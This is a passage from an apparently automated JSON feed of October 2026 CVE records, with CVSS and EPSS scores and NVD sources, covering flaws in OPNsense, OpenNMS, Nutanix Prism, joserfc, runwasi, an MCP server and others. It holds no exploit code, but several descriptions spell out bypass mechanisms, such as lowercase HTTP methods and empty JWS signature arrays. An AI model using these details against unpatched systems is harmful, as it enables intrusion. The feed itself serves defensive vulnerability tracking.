containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105037","asOf":"2026-10-16T20:17:18.330Z"},"epss":{"probability":0.004,"percentile":0.33943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105037","type":"primary","publishedAt":"2026-10-15T21:17:04.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105037, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105032","cveId":"CVE-2026-105032","aliases":[],"kind":"vulnerability","title":"The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain...","summary":"The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain uploaded file paths. An unauthenticated remote attacker can use path traversal to write arbitrary files, and thereby tamper with AI skill files used by Eilik and EilikO robots.","detail":"The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain uploaded file paths. An unauthenticated remote attacker can use path traversal to write arbitrary files, and thereby tamper with AI skill files used by Eilik and EilikO robots.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:03.753Z","updatedAt":"2026-10-16T20:17:17.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105032","asOf":"2026-10-16T20:17:17.703Z"},"epss":{"probability":0.00902,"percentile":0.59475,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105032&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105032","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105032","type":"primary","publishedAt":"2026-10-15T21:17:03.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105032&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105032, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57496","cveId":"CVE-2026-57496","aliases":[],"kind":"vulnerability","title":"NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing.","summary":"NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.","detail":"NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:41.733Z","updatedAt":"2026-10-21T01:17:39.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57496","asOf":"2026-10-21T01:17:39.360Z"},"epss":{"probability":0.00435,"percentile":0.37537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57496","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57496","type":"primary","publishedAt":"2026-10-15T19:17:41.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55240","cveId":"CVE-2026-55240","aliases":[],"kind":"vulnerability","title":"Tianji is an open source analytics, uptime monitoring, and server status platform.","summary":"Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, formatString() in src/server/utils/template.ts passes survey feedTemplate and monitor notification templates to lodash template(), while the default evaluate pattern remains enabled. A workspace administrator can store an evaluate block using the <% code %> form, and the public survey.submit endpoint renders a survey template when an unauthenticated user submits a response. The compiled template executes server-side JavaScript in the Tianji Node.js process, allowing command execution, secret disclosure, data modification, or service disruption. This issue is fixed in version 1.31.29.","detail":"Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, formatString() in src/server/utils/template.ts passes survey feedTemplate and monitor notification templates to lodash template(), while the default evaluate pattern remains enabled. A workspace administrator can store an evaluate block using the <% code %> form, and the public survey.submit endpoint renders a survey template when an unauthenticated user submits a response. The compiled template executes server-side JavaScript in the Tianji Node.js process, allowing command execution, secret disclosure, data modification, or service disruption. This issue is fixed in version 1.31.29.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:40.290Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55240","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00576,"percentile":0.47241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55240&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55240","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55240","type":"primary","publishedAt":"2026-10-15T19:17:40.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55240&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55240, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47218","cveId":"CVE-2026-47218","aliases":[],"kind":"vulnerability","title":"runwasi facilitates running Wasm and WASI workloads managed by containerd.","summary":"runwasi facilitates running Wasm and WASI workloads managed by containerd. Prior to 0.6.1, containerd-shim-wasmtime-v1 can treat Wasmtime precompiled bytes supplied directly in an OCI image layer as a trusted artifact from the precompile-cache path and deserialize them as native code. An attacker who causes a victim to run a crafted image can bypass WebAssembly validation and execute native code in the shim zygote process, gaining the filesystem, environment, credentials, networking, and Linux syscall access available to the workload container. Downstream shims built with runwasi's containerd-shim-wasm precompile-cache API are also affected if they implement Compiler and trust executable precompiled artifacts from OCI image layers; the 0.6.1 boundary applies specifically to containerd-shim-wasmtime and does not independently certify downstream product releases. The flaw escapes the WASI sandbox to the workload container boundary, but it does not by itself bypass container isolation or provide direct host code execution. This issue is fixed in version 0.6.1.","detail":"runwasi facilitates running Wasm and WASI workloads managed by containerd. Prior to 0.6.1, containerd-shim-wasmtime-v1 can treat Wasmtime precompiled bytes supplied directly in an OCI image layer as a trusted artifact from the precompile-cache path and deserialize them as native code. An attacker who causes a victim to run a crafted image can bypass WebAssembly validation and execute native code in the shim zygote process, gaining the filesystem, environment, credentials, networking, and Linux syscall access available to the workload container. Downstream shims built with runwasi's containerd-shim-wasm precompile-cache API are also affected if they implement Compiler and trust executable precompiled artifacts from OCI image layers; the 0.6.1 boundary applies specifically to containerd-shim-wasmtime and does not independently certify downstream product releases. The flaw escapes the WASI sandbox to the workload container boundary, but it does not by itself bypass container isolation or provide direct host code execution. This issue is fixed in version 0.6.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:39.257Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47218","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00394,"percentile":0.33305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-47218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47218","type":"primary","publishedAt":"2026-10-15T19:17:39.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-47218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-47218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111235","cveId":"CVE-2026-111235","aliases":[],"kind":"vulnerability","title":"An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon.","summary":"An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon. The /rest/** Spring Security filter chains authorize requests with intercept-url rules that name the HTTP method as an uppercase token, compare the method case-sensitively, and have no terminal deny rule. A request that uses a non-canonical (for example lowercase) method token matches no rule and is processed without authentication. A remote, unauthenticated attacker can read the monitored inventory and can create, modify, or delete resources through the REST API, which includes injecting events to fabricate or suppress alarms. The /rest/alarms chain has the same missing deny rule and discloses whether an alarm exists through a difference in the response. The fix adds a terminal deny rule to each REST filter chain.\n\n\n\nThe solution is to upgrade to Meridian 2024.3.14, 2025.0.11, 2026.0.1 and Horizon 36.0.5 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.","detail":"An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon. The /rest/** Spring Security filter chains authorize requests with intercept-url rules that name the HTTP method as an uppercase token, compare the method case-sensitively, and have no terminal deny rule. A request that uses a non-canonical (for example lowercase) method token matches no rule and is processed without authentication. A remote, unauthenticated attacker can read the monitored inventory and can create, modify, or delete resources through the REST API, which includes injecting events to fabricate or suppress alarms. The /rest/alarms chain has the same missing deny rule and discloses whether an alarm exists through a difference in the response. The fix adds a terminal deny rule to each REST filter chain.\n\n\n\nThe solution is to upgrade to Meridian 2024.3.14, 2025.0.11, 2026.0.1 and Horizon 36.0.5 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:36.693Z","updatedAt":"2026-10-16T20:17:19.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111235","asOf":"2026-10-16T20:17:19.620Z"},"epss":{"probability":0.00376,"percentile":0.31335,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111235","type":"primary","publishedAt":"2026-10-15T19:17:36.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102946","cveId":"CVE-2026-102946","aliases":[],"kind":"vulnerability","title":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards.","summary":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.4, joserfc.jws.deserialize_json() accepts a JWS General JSON Serialization with an empty signatures array as authenticated. The verify_general_json() loop performs no iterations for the empty array and returns success because no signature check failed, allowing an attacker without a signing key to supply an arbitrary payload that relying applications may treat as authentic. The issue affects the General JSON Serialization path; compact JWS and JWT decoding, Flattened JSON serialization, and JWE JSON processing do not follow this vulnerable path. This issue is fixed in version 1.7.4.","detail":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.4, joserfc.jws.deserialize_json() accepts a JWS General JSON Serialization with an empty signatures array as authenticated. The verify_general_json() loop performs no iterations for the empty array and returns success because no signature check failed, allowing an attacker without a signing key to supply an arbitrary payload that relying applications may treat as authentic. The issue affects the General JSON Serialization path; compact JWS and JWT decoding, Flattened JSON serialization, and JWE JSON processing do not follow this vulnerable path. This issue is fixed in version 1.7.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:13.423Z","updatedAt":"2026-10-15T20:17:05.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102946","asOf":"2026-10-15T20:17:05.407Z"},"epss":{"probability":0.00117,"percentile":0.01638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102946&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102946","type":"primary","publishedAt":"2026-10-15T19:17:13.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102946&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102946, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84731","cveId":"CVE-2026-84731","aliases":[],"kind":"vulnerability","title":"An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal...","summary":"An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal management HTTP header. The vulnerability is caused by a misconfiguration in the application's authentication filters.\n\n\n\nConsequently, the server responds with a Set-Cookie header containing a valid JSESSIONID. This session cookie decodes to a JSON Web Token (JWT) granting maximum cluster administrative privileges. Successful exploitation allows the attacker to execute root-level commands on all Controller VMs (CVMs) in the cluster, leading to complete cluster destruction and unauthorized access to VM memory and virtual disks.","detail":"An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal management HTTP header. The vulnerability is caused by a misconfiguration in the application's authentication filters.\n\n\n\nConsequently, the server responds with a Set-Cookie header containing a valid JSESSIONID. This session cookie decodes to a JSON Web Token (JWT) granting maximum cluster administrative privileges. Successful exploitation allows the attacker to execute root-level commands on all Controller VMs (CVMs) in the cluster, leading to complete cluster destruction and unauthorized access to VM memory and virtual disks.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T18:17:29.960Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:H/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84731","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.01283,"percentile":0.69887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84731&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84731","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84731","type":"primary","publishedAt":"2026-10-15T18:17:29.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84731&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84731, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110812","cveId":"CVE-2026-110812","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions...","summary":"Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials.\n\n\n\nTo remediate this issue, users not enrolled in auto-update should upgrade to Amazon Neptune engine version 1.5.0.0.(Backports to 1.4.8.1 and 1.4.7.1)","detail":"Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials.\n\n\n\nTo remediate this issue, users not enrolled in auto-update should upgrade to Amazon Neptune engine version 1.5.0.0.(Backports to 1.4.8.1 and 1.4.7.1)\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:16.110Z","updatedAt":"2026-10-16T19:17:03.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110812","asOf":"2026-10-16T19:17:03.750Z"},"epss":{"probability":0.00365,"percentile":0.30094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110812","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110812","type":"primary","publishedAt":"2026-10-15T17:17:16.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57155","cveId":"CVE-2026-57155","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:17.300Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeBSD"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57155","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00858,"percentile":0.58177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 